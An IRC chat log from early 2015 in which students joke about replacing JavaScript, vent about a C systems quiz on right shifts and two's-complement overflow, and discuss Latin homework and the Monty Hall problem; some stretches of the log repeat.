[2015-01-27T20:19:37-0500] <@awe> N.
[2015-01-27T20:19:38-0500] <nezorg> awe: not in, e.g. china
[2015-01-27T20:19:40-0500] <assface> or "upgrade the frontend"
[2015-01-27T20:19:45-0500] <@awe> Upgrading HTML/CSS stuff.
[2015-01-27T20:19:45-0500] <nezorg> awe: which is a huge market
[2015-01-27T20:19:46-0500] <@awe> nezorg: Yes.
[2015-01-27T20:19:50-0500] <@awe> nezorg: but that's another story.
[2015-01-27T20:19:51-0500] <assface> awe: ah
[2015-01-27T20:19:53-0500] <@awe> nezorg: That's not a technical issue.
[2015-01-27T20:19:58-0500] <@awe> nezorg: That's a political one.
[2015-01-27T20:20:02-0500] <nezorg> still, it's one that has to be accounted fo
[2015-01-27T20:20:03-0500] <nezorg> r
[2015-01-27T20:20:12-0500] <@awe> But it's going to change.
[2015-01-27T20:20:25-0500] <nezorg> o rly now
[2015-01-27T20:20:44-0500] <@awe> I recall reading that China is already undergoing changes with a lot of that stuff.
[2015-01-27T20:20:47-0500] <@awe> Maybe not as fast as they ought to be.
[2015-01-27T20:20:49-0500] <assface> IMO there needs to be 1 language to rule them all that isn't javascript
[2015-01-27T20:20:55-0500] <assface> *scripting language
[2015-01-27T20:21:01-0500] <assface> *web scripting language
[2015-01-27T20:21:03-0500] <nezorg> assface: sure, but how will we get there
[2015-01-27T20:21:12-0500] <@awe> My goal would be something that is intended to be compiler-generated.
[2015-01-27T20:21:18-0500] <@awe> Something like LL IR.
[2015-01-27T20:21:30-0500] <assface> nezorg: make a new version of PHP that's more versatile
[2015-01-27T20:21:46-0500] <assface> and can interact w/ html
[2015-01-27T20:21:49-0500] <jwoglom> hey, JS is bad, but at least it's no PHP..
[2015-01-27T20:22:17-0500] <nezorg> hey, brainfuck is bad, but at least it's no php...
[2015-01-27T20:22:18-0500] <assface> maybe we should make the web entirely in brainfuck
[2015-01-27T20:22:39-0500] <assface> it would almost be as hard to read as js
[2015-01-27T20:23:58-0500] <@awe> Almost, but not quite.
[2015-01-27T20:25:15-0500] <assface> but seriously now, js needs to die
[2015-01-27T20:25:28-0500] <assface> preferably slowly and painfully
[2015-01-27T20:26:17-0500] <@awe> Agreed.
[2015-01-27T20:26:21-0500] <@awe> Well, quickly and painfully.
[2015-01-27T20:26:24-0500] <@awe> That's what I'd like.
[2015-01-27T20:26:32-0500] <@awe> And then everyone who defends it can be tortured slowly and painfully.
[2015-01-27T20:26:37-0500] <@awe> Hi, JacobEdelman.
[2015-01-27T20:26:41-0500] <+hardmath123> uh-oh
[2015-01-27T20:26:47-0500] <assface> awe: yes
[2015-01-27T20:26:48-0500] <+hardmath123> this ends badly for me
[2015-01-27T20:26:52-0500] <@awe> >:D
[2015-01-27T20:26:57-0500] <@awe> Join the good side.
[2015-01-27T20:27:06-0500] <assface> we can replace it with assembly
[2015-01-27T20:27:16-0500] <+hardmath123> i'd be happy with a Scheme running in browsers
[2015-01-27T20:27:20-0500] <+hardmath123> natively
[2015-01-27T20:28:14-0500] <@awe> That'd be okay.
[2015-01-27T20:29:05-0500] <assface> yeah
[2015-01-27T20:29:12-0500] <assface> some lisp variant would be nice
[2015-01-27T20:29:12-0500] <@awe> I'd prefer actual versatility, but if we wanted just one scripting language Scheme is definitely better than JS.
[2015-01-27T20:29:51-0500] <assface> I might actually like web programming if that were the case
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[2015-01-27T20:34:41-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-27T20:19:32-0500] <assface> as in "upgrade IP"?
[2015-01-27T20:19:37-0500] <@awe> N.
[2015-01-27T20:19:38-0500] <nezorg> awe: not in, e.g. china
[2015-01-27T20:19:40-0500] <assface> or "upgrade the frontend"
[2015-01-27T20:19:45-0500] <@awe> Upgrading HTML/CSS stuff.
[2015-01-27T20:19:45-0500] <nezorg> awe: which is a huge market
[2015-01-27T20:19:46-0500] <@awe> nezorg: Yes.
[2015-01-27T20:19:50-0500] <@awe> nezorg: but that's another story.
[2015-01-27T20:19:51-0500] <assface> awe: ah
[2015-01-27T20:19:53-0500] <@awe> nezorg: That's not a technical issue.
[2015-01-27T20:19:58-0500] <@awe> nezorg: That's a political one.
[2015-01-27T20:20:02-0500] <nezorg> still, it's one that has to be accounted fo
[2015-01-27T20:20:03-0500] <nezorg> r
[2015-01-27T20:20:12-0500] <@awe> But it's going to change.
[2015-01-27T20:20:25-0500] <nezorg> o rly now
[2015-01-27T20:20:44-0500] <@awe> I recall reading that China is already undergoing changes with a lot of that stuff.
[2015-01-27T20:20:48-0500] <@awe> Maybe not as fast as they ought to be.
[2015-01-27T20:20:49-0500] <assface> IMO there needs to be 1 language to rule them all that isn't javascript
[2015-01-27T20:20:55-0500] <assface> *scripting language
[2015-01-27T20:21:01-0500] <assface> *web scripting language
[2015-01-27T20:21:03-0500] <nezorg> assface: sure, but how will we get there
[2015-01-27T20:21:12-0500] <@awe> My goal would be something that is intended to be compiler-generated.
[2015-01-27T20:21:18-0500] <@awe> Something like LL IR.
[2015-01-27T20:21:30-0500] <assface> nezorg: make a new version of PHP that's more versatile
[2015-01-27T20:21:45-0500] <assface> and can interact w/ html
[2015-01-27T20:21:49-0500] <jwoglom> hey, JS is bad, but at least it's no PHP..
[2015-01-27T20:22:17-0500] <nezorg> hey, brainfuck is bad, but at least it's no php...
[2015-01-27T20:22:18-0500] <assface> maybe we should make the web entirely in brainfuck
[2015-01-27T20:22:39-0500] <assface> it would almost be as hard to read as js
[2015-01-27T20:23:58-0500] <@awe> Almost, but not quite.
[2015-01-27T20:25:15-0500] <assface> but seriously now, js needs to die
[2015-01-27T20:25:28-0500] <assface> preferably slowly and painfully
[2015-01-27T20:26:17-0500] <@awe> Agreed.
[2015-01-27T20:26:21-0500] <@awe> Well, quickly and painfully.
[2015-01-27T20:26:24-0500] <@awe> That's what I'd like.
[2015-01-27T20:26:32-0500] <@awe> And then everyone who defends it can be tortured slowly and painfully.
[2015-01-27T20:26:37-0500] <@awe> Hi, JacobEdelman.
[2015-01-27T20:26:41-0500] <+hardmath123> uh-oh
[2015-01-27T20:26:47-0500] <assface> awe: yes
[2015-01-27T20:26:48-0500] <+hardmath123> this ends badly for me
[2015-01-27T20:26:52-0500] <@awe> >:D
[2015-01-27T20:26:57-0500] <@awe> Join the good side.
[2015-01-27T20:27:06-0500] <assface> we can replace it with assembly
[2015-01-27T20:27:17-0500] <+hardmath123> i'd be happy with a Scheme running in browsers
[2015-01-27T20:27:20-0500] <+hardmath123> natively
[2015-01-27T20:28:14-0500] <@awe> That'd be okay.
[2015-01-27T20:29:05-0500] <assface> yeah
[2015-01-27T20:29:12-0500] <assface> some lisp variant would be nice
[2015-01-27T20:29:13-0500] <@awe> I'd prefer actual versatility, but if we wanted just one scripting language Scheme is definitely better than JS.
[2015-01-27T20:29:51-0500] <assface> I might actually like web programming if that were the case
[2015-01-27T20:34:42-0500] Mode is +nst
[2015-01-27T20:44:00-0500] <+JacobEdelman> I'd be okay replacing js with fractran and lark
[2015-01-27T20:44:09-0500] <+JacobEdelman> *fractran or lark
[2015-01-27T20:44:33-0500] <alokpathy> larktran
[2015-01-27T20:44:41-0500] <+JacobEdelman> ^
[2015-01-27T20:44:49-0500] <+Tamini> lol fractran
[2015-01-27T20:45:50-0500] <+JacobEdelman> Tamini: I once made something that compiled brainf*** to fractran
[2015-01-27T20:46:03-0500] <+Tamini> this is a sign you have way too much free time
[2015-01-27T20:46:36-0500] <+JacobEdelman> it was years ago
[2015-01-27T20:46:45-0500] <+JacobEdelman> now I spend my spare time watching code geass
[2015-01-27T20:46:47-0500] <+JacobEdelman> :P
[2015-01-27T20:48:44-0500] <+JacobEdelman> awe: have you watched firefly?
[2015-01-27T20:48:57-0500] <@awe> Of course I have.
[2015-01-27T20:49:06-0500] <+JacobEdelman> okay, its just alok who hasn't
[2015-01-27T20:49:09-0500] <+JacobEdelman> ALOK!
[2015-01-27T20:50:16-0500] <@awe> I'd be okay with replacing JacobEdelman with a bot that just says Haskell is great whenever I ask him what he thinks of Haskell.
[2015-01-27T20:50:35-0500] <+JacobEdelman> awe: wait, how would that be anything like me?
[2015-01-27T20:50:46-0500] <@awe> It wouldn't. It'd be a marked improvement.
[2015-01-27T20:51:43-0500] <+Tamini> lolol
[2015-01-27T20:51:49-0500] <+Tamini> also
[2015-01-27T20:51:53-0500] <+Tamini> i havent watched firefly either:
[2015-01-27T20:52:00-0500] <+JacobEdelman> ah, gotta fix that
[2015-01-27T20:52:03-0500] <+Tamini> alokpathy: this is another thing we need to do
[2015-01-27T20:52:41-0500] <+Tamini> also
[2015-01-27T20:52:57-0500] • Tamini: is trying to study for Latin
[2015-01-27T20:53:00-0500] <+Tamini> pls gib entertainment
[2015-01-27T20:54:20-0500] <+JacobEdelman> Tamini: solution
[2015-01-27T20:54:26-0500] <+JacobEdelman> Tamini: don't study for latin
[2015-01-27T20:54:30-0500] <+JacobEdelman> Tamini: latin is bad
[2015-01-27T20:55:38-0500] <+Tamini> well
[2015-01-27T20:55:40-0500] <+Tamini> i need to pass 
[2015-01-27T20:55:41-0500] <+Tamini> so me study
[2015-01-27T20:55:47-0500] <+Tamini> if you want to distract me, be interesting enough :D
[2015-01-27T20:57:43-0500] <+JacobEdelman> Tamini: uhh.... but I'm such a boring person
[2015-01-27T20:58:04-0500] <+Tamini> lolol
[2015-01-27T20:58:10-0500] <+Tamini> not all the time
[2015-01-27T20:58:16-0500] <+Tamini> you can be sorta interesting sometimes
[2015-01-27T20:58:24-0500] <+JacobEdelman> .... that was sarcasm
[2015-01-27T20:58:27-0500] <+JacobEdelman> I would like to think
[2015-01-27T20:58:32-0500] <+JacobEdelman> if there is something I'm not
[2015-01-27T20:58:33-0500] <+JacobEdelman> its boring
[2015-01-27T20:58:36-0500] <+JacobEdelman> or ordinary
[2015-01-27T20:58:45-0500] <+Tamini> lolol
[2015-01-27T20:58:46-0500] <+JacobEdelman> hmmmm... ordninary would have been a better word
[2015-01-27T20:58:47-0500] <+Tamini> then be interesting.
[2015-01-27T21:05:07-0500] <assface> *interdasting
[2015-01-27T21:05:35-0500] <+Tamini> :P
[2015-01-27T21:05:54-0500] <+Tamini> wow, awe chooses now to not tell his ever-interesting stories? :P
[2015-01-27T21:06:16-0500] <@awe> Lol.
[2015-01-27T21:06:32-0500] <assface> *interdasting
[2015-01-27T21:06:49-0500] <jwoglom> being interdasting is hard
[2015-01-27T21:06:49-0500] <+Tamini> awe, pls <3
[2015-01-27T21:06:54-0500] <jwoglom> too subjective, since there isn't a definition :P
[2015-01-27T21:07:36-0500] <assface> yes there is
[2015-01-27T21:07:41-0500] <assface> worthy of interdast
[2015-01-27T21:08:13-0500] <@awe> I don't know if I have any stories to tell right now.
[2015-01-27T21:08:29-0500] <+Tamini> can't think of any at all? >.<
[2015-01-27T21:15:19-0500] <@awe> Usually, I need something to remind me of a good story.
[2015-01-27T21:17:11-0500] <+Tamini> hmm
[2015-01-27T21:17:15-0500] <+Tamini> inspiration...
[2015-01-27T21:17:24-0500] <+JacobEdelman> a kangarooo
[2015-01-27T21:17:27-0500] <+JacobEdelman> on a pogostick?
[2015-01-27T21:17:33-0500] <+JacobEdelman> with a ice cream cone
[2015-01-27T21:17:37-0500] <+JacobEdelman> balance on its
[2015-01-27T21:17:39-0500] <+JacobEdelman> left leg
[2015-01-27T21:17:42-0500] <+JacobEdelman> and a wii mote
[2015-01-27T21:17:49-0500] <+JacobEdelman> stabbed into its eye
[2015-01-27T21:17:51-0500] <jwoglom> ..wearing a cowboy hat
[2015-01-27T21:17:55-0500] <+JacobEdelman> ^
[2015-01-27T21:18:05-0500] <+JacobEdelman> anybody up to drawing that?
[2015-01-27T21:18:13-0500] <+JacobEdelman> that should be the official pdgn logo
[2015-01-27T21:18:22-0500] <+JacobEdelman> oh, and yeah, we can add a little pdgn in the background
[2015-01-27T21:19:37-0500] <+JacobEdelman> awe: hows the for inspiration
[2015-01-27T21:19:42-0500] <+JacobEdelman> *that
[2015-01-27T21:19:53-0500] <@awe> We'll have a pdgn logo soon.
[2015-01-27T21:19:55-0500] <@awe> I'm sorry, guys.
[2015-01-27T21:20:03-0500] <+JacobEdelman> nmmm... you should tell storys about ernest
[2015-01-27T21:20:09-0500] <+JacobEdelman> there are plenty of good storys about him
[2015-01-27T21:20:27-0500] <@awe> I think Tamini meant stories about my life.
[2015-01-27T21:20:31-0500] <jwoglom> awe: steal pidgin.im's logo :P
[2015-01-27T21:20:33-0500] <jwoglom> https://www.pidgin.im/shared/img/header.pidgin-head.jpg
[2015-01-27T21:20:36-0500] <+JacobEdelman> oh, well thats boring
[2015-01-27T21:20:38-0500] <+JacobEdelman> :P
[2015-01-27T21:20:43-0500] <@awe> jwoglom: lol nty
[2015-01-27T21:20:59-0500] <jwoglom> well then get up a logo then :P
[2015-01-27T21:21:08-0500] <@awe> Shannon said she was working on it. Gosh.
[2015-01-27T21:21:32-0500] <+Tamini> shannon's pidgeons are so fat and cute
[2015-01-27T21:21:34-0500] <+Tamini> its adorable
[2015-01-27T21:21:46-0500] <+JacobEdelman> awe: tell Tamini about the time you uh.... hmmmmmm..... .... actually all the interesting stories are about your hair
[2015-01-27T21:21:58-0500] <+JacobEdelman> Tamini: you should be asking awes_hair for interesting stories, not awe
[2015-01-27T21:22:14-0500] <@awe> Tamini: she suggested fat and I knew it was going to be great. :D
[2015-01-27T21:22:25-0500] JacobEdelman is now known as awes_hair
[2015-01-27T21:22:58-0500] <@awe> O.
[2015-01-27T21:22:59-0500] <+awes_hair> hmmm... I'm am clearly too tired
[2015-01-27T21:23:01-0500] <@awe> Ok.
[2015-01-27T21:23:04-0500] <+awes_hair> I no longer make sense
[2015-01-27T21:23:10-0500] <+awes_hair> and my jokes are getting worse (gasp)
[2015-01-27T21:23:14-0500] awes_hair is now known as JacobEdelman
[2015-01-27T21:23:18-0500] <+JacobEdelman> gnight
[2015-01-27T21:23:24-0500] <@awe> Good night, JacobEdelman.
[2015-01-27T21:23:41-0500] <+Tamini> night night Jedelman
[2015-01-27T21:31:06-0500] <alokpathy> G'night
[2015-01-27T21:40:02-0500] <The_Master> JacobEdelman is taking a long nap... MUHAHAHA!!!
[2015-01-27T22:41:47-0500] <nezorg> wait I missed awes_hair???
[2015-01-27T22:41:48-0500] <nezorg> :(
[2015-01-27T22:42:10-0500] <+Tamini> omg
[2015-01-27T22:42:11-0500] <+Tamini> i got a selfie
[2015-01-27T22:42:13-0500] <+Tamini> its been so long
[2015-01-27T22:42:19-0500] <nezorg> lol
[2015-01-27T22:42:40-0500] <nezorg> snapchat updated
[2015-01-27T22:42:42-0500] <nezorg> it reminded me of it
[2015-01-27T22:43:37-0500] <+Tamini> lol oh yeah
[2015-01-27T22:43:39-0500] <+Tamini> it does weird things now
[2015-01-27T22:43:46-0500] <alokpathy> Like what?
[2015-01-27T22:43:48-0500] <nezorg> and here I was expecting a selife back
[2015-01-27T22:43:53-0500] <+Tamini> LOL
[2015-01-27T22:43:57-0500] <nezorg> and all I got was some lousy homework
[2015-01-27T22:44:01-0500] <+Tamini> Im too busy cramming for Latin!
[2015-01-27T22:44:01-0500] <alokpathy> LOL
[2015-01-27T22:44:19-0500] <+Tamini> I'll send you a selfie when I'm not in "I have no school and I'm not going to be seen by the public anytime soon" hobo mode
[2015-01-27T22:44:29-0500] <nezorg> mmmrrrr
[2015-01-27T22:44:57-0500] <+Tamini> WAIT
[2015-01-27T22:45:05-0500] <+Tamini> i can send you an old picture that my sister made for me
[2015-01-27T22:45:17-0500] <+Tamini> aka "why photoshop > plastic surgery"
[2015-01-27T22:47:55-0500] <nezorg> how are you so white
[2015-01-27T22:47:55-0500] <nezorg> maybe that's just exposure
[2015-01-27T22:48:05-0500] <+Tamini> its um
[2015-01-27T22:48:07-0500] <+Tamini> super photoshopped
[2015-01-27T22:48:09-0500] <+Tamini> LOL
[2015-01-27T22:48:37-0500] <+Tamini> also rant on latin: why can't this chick just die like a normal person why does it take her 100 lines to freaking die
[2015-01-27T22:49:20-0500] <nezorg> that would not be good enough for caesar
[2015-01-27T22:49:29-0500] <nezorg> (still translating de bello gallico?)
[2015-01-27T22:50:01-0500] <+Tamini> um
[2015-01-27T22:50:02-0500] <+Tamini> vergil
[2015-01-27T22:50:06-0500] <+Tamini> reviewing
[2015-01-27T22:50:10-0500] <nezorg> oh
[2015-01-27T22:50:30-0500] <+Tamini> dido just um
[2015-01-27T22:50:32-0500] <+Tamini> stabbed herself
[2015-01-27T22:50:39-0500] <+Tamini> i still have ~40 lines to go until she dies
[2015-01-27T22:50:39-0500] <+Tamini> :D
[2015-01-27T22:51:18-0500] <+Tamini> (also masterpieces happen while I procrastinate)
[2015-01-27T22:52:27-0500] <nezorg> yeah caesar doesn't describe many chicks dying
[2015-01-27T22:53:31-0500] <nezorg> wow
[2015-01-27T22:53:36-0500] <nezorg> my internet just took *another* crap
[2015-01-27T22:53:38-0500] <nezorg> wtf cox
[2015-01-27T22:53:47-0500] <+Tamini> lol
[2015-01-27T22:53:47-0500] <@awe> Wow.
[2015-01-27T22:53:48-0500] <@awe> Guys.
[2015-01-27T22:53:50-0500] <@awe> Fuck systems courses.
[2015-01-27T22:53:54-0500] <nezorg> how so?
[2015-01-27T22:54:01-0500] <@awe> To insure sign extension when shifting right, use the Answer int data type in C.
[2015-01-27T22:54:38-0500] <nezorg> ...huh?
[2015-01-27T22:54:58-0500] <nezorg> 1. I don't own any insurance companies, so that's not relevant
[2015-01-27T22:55:10-0500] <nezorg> 2. apparently you like putting "Answer" randomly in sentences
[2015-01-27T22:55:48-0500] <@awe> No, Answer is the fill in the blank.
[2015-01-27T22:56:05-0500] <nezorg> oh
[2015-01-27T22:56:11-0500] <LittleBobbyTables> http://i.imgur.com/p1npfLu.jpg
[2015-01-27T22:56:12-0500] <@awe> Disregarding that they meant ensure instead of insure, what is the answer?
[2015-01-27T22:56:29-0500] <jwoglom> that's pretty blunt
[2015-01-27T22:56:29-0500] <@awe> THERE ISN'T ONE BECAUSE C DOESN'T DEFINE THE TYPE OF RIGHT SHIFT USED
[2015-01-27T22:56:35-0500] <nezorg> correct
[2015-01-27T22:56:58-0500] <@awe> BUT YOU CAN'T RIGHT "THERE ISN'T ONE"
[2015-01-27T22:57:04-0500] <@awe> FUCK THIS QUIZ
[2015-01-27T22:57:05-0500] <+Tamini> lol LittleBobbyTables 
[2015-01-27T22:57:05-0500] <nezorg> *WRITE
[2015-01-27T22:57:10-0500] <@awe> WRite.
[2015-01-27T22:57:12-0500] <+Tamini> what are the options?
[2015-01-27T22:57:12-0500] <@awe> Right.
[2015-01-27T22:57:14-0500] <@awe> You're correct.
[2015-01-27T22:57:16-0500] <@awe> There are none.
[2015-01-27T22:57:19-0500] <@awe> It's fill in the blank.
[2015-01-27T22:57:20-0500] <nezorg> do they also test what happens when you overflow an int?
[2015-01-27T22:57:35-0500] <@awe> I apologize, but seriously, this quiz is pissing me off.
[2015-01-27T22:58:00-0500] <nezorg> oh, do they specify a compiler?
[2015-01-27T22:58:04-0500] <@awe> No.
[2015-01-27T22:58:06-0500] <@awe> The book doesn't explain half the concepts it refers to.
[2015-01-27T22:58:24-0500] <nezorg> if they specified a compiler then they would probably be right
[2015-01-27T22:58:28-0500] <nezorg> but apparently they don't
[2015-01-27T22:58:34-0500] <@awe> They don't specify anything.
[2015-01-27T22:58:38-0500] <@awe> Which is why I'm so pissed off.
[2015-01-27T22:58:47-0500] <@awe> Everything on this quiz is unspecified.
[2015-01-27T22:58:58-0500] <@awe> Consider two's-complement addition for two six-bit binary numbers:
[2015-01-27T22:58:58-0500] <@awe> 110001+101100.
[2015-01-27T22:58:58-0500] <@awe> What is the result of this addition?
[2015-01-27T22:59:05-0500] <nezorg> "what happens when you dereference NULL?"
[2015-01-27T22:59:07-0500] <@awe> Apparently, the carry bit is considered "underflow"
[2015-01-27T22:59:11-0500] <@awe> and you're supposed to know that those are unsigned numbers.
[2015-01-27T22:59:23-0500] <nezorg> wait, 2's complement unsigned? wtf?
[2015-01-27T22:59:27-0500] <@awe> Exactly.
[2015-01-27T22:59:47-0500] <@awe> Actually, hmm.
[2015-01-27T22:59:50-0500] <@awe> No, that does make sense.
[2015-01-27T23:00:05-0500] <@awe> That just clicked in my head.
[2015-01-27T23:00:07-0500] <@awe> Why it's underflow.
[2015-01-27T23:00:18-0500] <nezorg> if they're signed, yeah
[2015-01-27T23:00:19-0500] <@awe> So, I'm mad at the book about that one.
[2015-01-27T23:00:23-0500] <@awe> Yeah, they are signed.
[2015-01-27T23:00:32-0500] <@awe> They're signed and it's underflow because negative + negative to positive.
[2015-01-27T23:00:42-0500] <@awe> But the book doesn't explain anything.
[2015-01-27T23:01:10-0500] <@awe> I don't know why this is, but in every CS class I've had, the quizzes on Moodle are brutal.
[2015-01-27T23:01:18-0500] <nezorg> indeed
[2015-01-27T23:01:27-0500] <nezorg> or so I've herad
[2015-01-27T23:01:28-0500] <nezorg> *heard
[2015-01-27T23:01:33-0500] <nezorg> I haven't taken any CS classes! :P
[2015-01-27T23:01:33-0500] <@awe> My data structures course, I got over 100%.
[2015-01-27T23:01:37-0500] <@awe> But the Moodle quizzes?
[2015-01-27T23:01:40-0500] <@awe> I had like a B average.
[2015-01-27T23:01:43-0500] <@awe> ~85% or something.
[2015-01-27T23:01:56-0500] <@awe> (After the first few, I got straight 100%s on them, but the first few were really particularly awful)
[2015-01-27T23:02:13-0500] <@awe> Why are these quizzes the hardest thing in the course?
[2015-01-27T23:03:12-0500] <+hardmath123> Yikes, the first question I asked on #llvm turned out to reveal an issue that will be corrected in the next version. -_-
[2015-01-27T23:03:18-0500] <@awe> Hah.
[2015-01-27T23:03:28-0500] <nezorg> what was it?
[2015-01-27T23:03:49-0500] • Pharyngeal: waves
[2015-01-27T23:04:12-0500] <+hardmath123> llvm-objdump's -cfg option got me very excited (it would theoretically draw, in Graphviz form, what nezorg was showing us the other day)
[2015-01-27T23:04:13-0500] • Pharyngeal: needs to play around with docker at some point
[2015-01-27T23:04:17-0500] <@awe> Pharyngeal: do you guys have moodle quizzes?
[2015-01-27T23:04:24-0500] <+hardmath123> ...and it segfaulted.
[2015-01-27T23:04:27-0500] <Pharyngeal> awe: No, we don't use moodle
[2015-01-27T23:04:29-0500] <@awe> nezorg: maybe they want unsigned?
[2015-01-27T23:04:33-0500] <+hardmath123> Turns out, it isn't even implemented. :P
[2015-01-27T23:04:39-0500] <nezorg> hardmath123: very nice xP
[2015-01-27T23:04:41-0500] <@awe> Pharyngeal: do you have any sort of short online quizzes?
[2015-01-27T23:04:49-0500] <@awe> Pharyngeal: if so, are they incredibly hard relative to the difficulty of the course?
[2015-01-27T23:04:54-0500] <Pharyngeal> We use Canvas, which is also FOSS, and much nicer than Moodle imho
[2015-01-27T23:05:07-0500] <Pharyngeal> And I haven't had a class that uses them in a while
[2015-01-27T23:05:10-0500] <Pharyngeal> They were pretty average
[2015-01-27T23:05:15-0500] <nezorg> awe: unsigned for what?
[2015-01-27T23:05:53-0500] <@awe> for the blank.
[2015-01-27T23:06:11-0500] <@awe> "It's hard to clarify this without just giving the answer.  The language definition allows some flexibility because there are many weird computers out there, etc., but gcc on the platform of interest in this class uses arithmetic shift on signed numbers and logical shift on unsigned.  The question was written (and is graded) with this in mind ..."
[2015-01-27T23:06:12-0500] <@awe> Seriously?
[2015-01-27T23:06:31-0500] <nezorg> wtffffffff
[2015-01-27T23:06:36-0500] <nezorg> specify you're using gcc then
[2015-01-27T23:06:42-0500] <@awe> Right?
[2015-01-27T23:07:07-0500] <@awe> That doesn't really resolve the issue though.
[2015-01-27T23:07:19-0500] <@awe> Every int data type uses signed numbers on gcc.
[2015-01-27T23:07:21-0500] <@awe> erm
[2015-01-27T23:07:27-0500] <@awe> That's not what I meant.
[2015-01-27T23:07:34-0500] <@awe> Every signed int data type uses sign extension on gcc.
[2015-01-27T23:07:55-0500] <nezorg> well then put "signed"
[2015-01-27T23:08:03-0500] <nezorg> "signed int" is a valid C type
[2015-01-27T23:08:09-0500] <@awe> That's true.
[2015-01-27T23:08:24-0500] <@awe> Yeah, signed was good.
[2015-01-27T23:11:09-0500] <@awe> That's so...
[2015-01-27T23:11:10-0500] <@awe> Ugh.
[2015-01-27T23:11:20-0500] <@awe> It wasn't hard at all to clarify that.
[2015-01-27T23:11:43-0500] <@awe> You just had to specify that we're talking specifically about GCC.
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[2015-01-28T00:10:52-0500] <alokpathy> awe: How are you liking your probability course?
[2015-01-28T00:12:01-0500] <@awe> I've only had two lectures because snow day yesterday.
[2015-01-28T00:12:08-0500] <@awe> But it's cool.
[2015-01-28T00:12:12-0500] <@awe> We're just talking about set theory right now.
[2015-01-28T00:13:44-0500] <alokpathy> Oh nice.
[2015-01-28T00:13:49-0500] <alokpathy> What's your syllabus covering?
[2015-01-28T00:25:24-0500] <@awe> Uhh...
[2015-01-28T00:25:31-0500] <@awe> I pasted the course description here a while back.
[2015-01-28T00:25:46-0500] <@awe> You can look at our course website though
[2015-01-28T00:25:46-0500] <@awe> http://people.cs.umass.edu/~mcgregor/courses/CS240S15/
[2015-01-28T00:26:19-0500] <@awe> Discussion 2 is on Monty Hall.
[2015-01-28T00:26:19-0500] <@awe> Lol.
[2015-01-28T00:28:25-0500] <nezorg> they never consider the case where you want a goat :(
[2015-01-28T00:29:39-0500] <@awe> nezorg: why would I want a goat?
[2015-01-28T00:29:44-0500] <@awe> nezorg: you could sell the car and buy many goat.s
[2015-01-28T00:30:13-0500] <nezorg> who would want to buy goatse
[2015-01-28T00:30:25-0500] <@awe> goats.
[2015-01-28T00:30:26-0500] <@awe> I said goats.
[2015-01-28T00:31:08-0500] <LittleBobbyTables> Why would you want many goats?
[2015-01-28T00:31:20-0500] <@awe> If you want one goat, presumably many goats is better.
[2015-01-28T00:32:04-0500] <LittleBobbyTables> Not necessarily.
[2015-01-28T00:32:25-0500] <LittleBobbyTables> If you only need one goat for something, then get one goat. If you get more than one, you're stuck with the extra.
[2015-01-28T00:32:46-0500] <@awe> You could sell the car buy one goat and have money to spare?
[2015-01-28T00:33:00-0500] <@awe> Basically, there's no reason you'd ever want the goat over the car because a car is higher in value than a goat.
[2015-01-28T00:33:07-0500] <@awe> Unless there's some reason you wanted that particular goat.
[2015-01-28T00:33:11-0500] <@awe> Maybe it's a kinky goat.
[2015-01-28T00:33:15-0500] <@awe> Who knows?
[2015-01-28T00:33:21-0500] <assface> delicious
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[2015-01-28T00:36:04-0500] <LittleBobbyTables> What if you know someone buying a goat for 20 million dollars?
[2015-01-28T00:38:52-0500] <alokpathy> I was really confused until I saw "Discussion 2 is on Monty Hall"
[2015-01-28T00:39:52-0500] <alokpathy> Before that I thought "Maybe it's normal to bring goats up in a conversation at any time."
[2015-01-28T00:40:00-0500] <+Tamini> ooh
[2015-01-28T00:40:09-0500] <+Tamini> wait we talked about monty hall during quantum
[2015-01-28T00:40:14-0500] <+Tamini> not the monty hall problem, mind you
[2015-01-28T00:40:17-0500] <+Tamini> monty hall the show.
[2015-01-28T00:40:26-0500] <+Tamini> and the history of black and white tv
[2015-01-28T00:40:31-0500] <alokpathy> wat
[2015-01-28T00:40:44-0500] <+Tamini> well, we were talking about the monty hall problem
[2015-01-28T00:41:03-0500] <+Tamini> then we talked about why it was a big deal
[2015-01-28T00:41:10-0500] <alokpathy> and then you talked about the show? :P
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[2015-01-28T00:52:41-0500] <alokpathy> wat
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[2015-01-28T00:57:35-0500] <+Tamini> aaron aaron aaron
[2015-01-28T00:58:36-0500] <+Tamini> wait nvm
[2015-01-28T01:00:46-0500] <alokpathy> Alright. G'night guys.
[2015-01-28T01:01:51-0500] <+Tamini> gnight apothy man
[2015-01-28T01:01:58-0500] <+Tamini> get a client/get on znc <3
[2015-01-28T01:22:17-0500] <nezorg> night people
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[2015-01-28T09:43:39-0500] <+JacobEdelman> hmmm.. an avg. error of 15060.22608905621 for xoring two bits is probaly bad....
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[2015-01-28T00:12:01-0500] <@awe> I've only had two lectures because snow day yesterday.
[2015-01-28T00:12:08-0500] <@awe> But it's cool.
[2015-01-28T00:12:12-0500] <@awe> We're just talking about set theory right now.
[2015-01-28T00:13:44-0500] <alokpathy> Oh nice.
[2015-01-28T00:13:49-0500] <alokpathy> What's your syllabus covering?
[2015-01-28T00:25:24-0500] <@awe> Uhh...
[2015-01-28T00:25:32-0500] <@awe> I pasted the course description here a while back.
[2015-01-28T00:25:46-0500] <@awe> You can look at our course website though
[2015-01-28T00:25:46-0500] <@awe> http://people.cs.umass.edu/~mcgregor/courses/CS240S15/
[2015-01-28T00:26:19-0500] <@awe> Discussion 2 is on Monty Hall.
[2015-01-28T00:26:19-0500] <@awe> Lol.
[2015-01-28T00:28:25-0500] <nezorg> they never consider the case where you want a goat :(
[2015-01-28T00:29:39-0500] <@awe> nezorg: why would I want a goat?
[2015-01-28T00:29:44-0500] <@awe> nezorg: you could sell the car and buy many goat.s
[2015-01-28T00:30:13-0500] <nezorg> who would want to buy goatse
[2015-01-28T00:30:25-0500] <@awe> goats.
[2015-01-28T00:30:27-0500] <@awe> I said goats.
[2015-01-28T00:31:08-0500] <LittleBobbyTables> Why would you want many goats?
[2015-01-28T00:31:20-0500] <@awe> If you want one goat, presumably many goats is better.
[2015-01-28T00:32:04-0500] <LittleBobbyTables> Not necessarily.
[2015-01-28T00:32:25-0500] <LittleBobbyTables> If you only need one goat for something, then get one goat. If you get more than one, you're stuck with the extra.
[2015-01-28T00:32:46-0500] <@awe> You could sell the car buy one goat and have money to spare?
[2015-01-28T00:33:00-0500] <@awe> Basically, there's no reason you'd ever want the goat over the car because a car is higher in value than a goat.
[2015-01-28T00:33:07-0500] <@awe> Unless there's some reason you wanted that particular goat.
[2015-01-28T00:33:12-0500] <@awe> Maybe it's a kinky goat.
